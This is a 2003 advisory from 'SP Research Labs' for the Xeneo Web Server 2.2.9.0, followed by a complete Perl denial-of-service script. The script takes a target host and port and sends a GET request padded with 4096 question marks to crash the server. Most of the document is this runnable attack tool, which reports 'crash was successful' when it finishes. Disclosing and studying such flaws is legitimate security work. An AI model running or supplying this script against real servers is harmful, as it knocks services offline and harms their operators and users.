The Xeneo Web Server v2.2.9.0 is vulnerable to a Denial of Service attack when a GET request with 4096 ?'s are received. Tested against Windows XP Pro SP1 and Windows 2000 SP3.
da3a642b7f36b1639ffe07503652d7ffe8dcb8c31823a7b41ba1daffd75e0227
##!/usr/bin/perl
#
#
#
#SP Research Labs Advisory x03
#-----------------------------
#www.security-protocols.com
#
#Product - Xeneo Web Server 2.2.9.0
#
#Download it here:
#http://www.northernsolutions.com/index.php?view=product&id=1
#
#Date Released - 04/21/2003
#
#Release Mode - Vendor was notified on 3/18/2003. Sent a few emails but
#never got any replies. So here it goes.
#
#----------------------------
#
#Product Description from the vendor -
#
#Xeneo Web Server is designed to deliver high performance and
#reliability. It can be easily extended and customized to host
#everything from a personal web site to advanced web applications
#that use ASP, PHP, ColdFusion, Perl, CGI and ISAPI. Key Xeneo
#Web Server features include: multiple domain support, integrated
#Windows authentication, scripting interface, enhanced filter
#support, ISAPI, CGI, ASP, SSL, intelligent file caching and more.
#
#-----------------------------
#
#Vulnerability Description -
#
#To exploit this vulnerability, simply do a GET / with 4096 ?'s or more
#will cause the web server to go down. It is not exploitable at this
#point.
#
#Tested on:
#
#Windows XP Pro SP1
#Windows 2000 SP3
#
#
# Xeneo Web Server DoS
#
# Vulnerable systems:
# Xeneo. Web Server 2.2.9.0
# http://www.northernsolutions.com
#
# Written by badpack3t <badpack3t@security-protocols.com>
# For SP Research Labs
# 04/21/2003
#
# www.security-protocols.com
#
# usage:
# perl sp-xeneo.pl <target> <port>
#
# big ups 2: c0nnie!!!! 143~!~!~!
use IO::Socket;
use strict;
print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS, <badpack3t\@security-protocols.com>\n";
print ".:."x 20; print "\n\n";
if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))
{
&usage;
}
my $host = $ARGV[ 0 ];
my $def = "?";
my $num = "4096";
my $port = $ARGV[ 1 ];
my $urfuqed = $def x $num;
my $tcpval = getprotobyname( 'tcp' );
my $serverIP = inet_aton( $host );
my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
my $protocol_name = "tcp";
my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong stupid... exiting..." );
my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not open: $host" );
connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );
my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
send( SOCK,$submit,0 );
close( SOCK );
sub usage
{
die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );
}
print "\n.:.:.:.:.:.:.:.:.:.:.:.";
print "\ncrash was successful ~!\n";
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";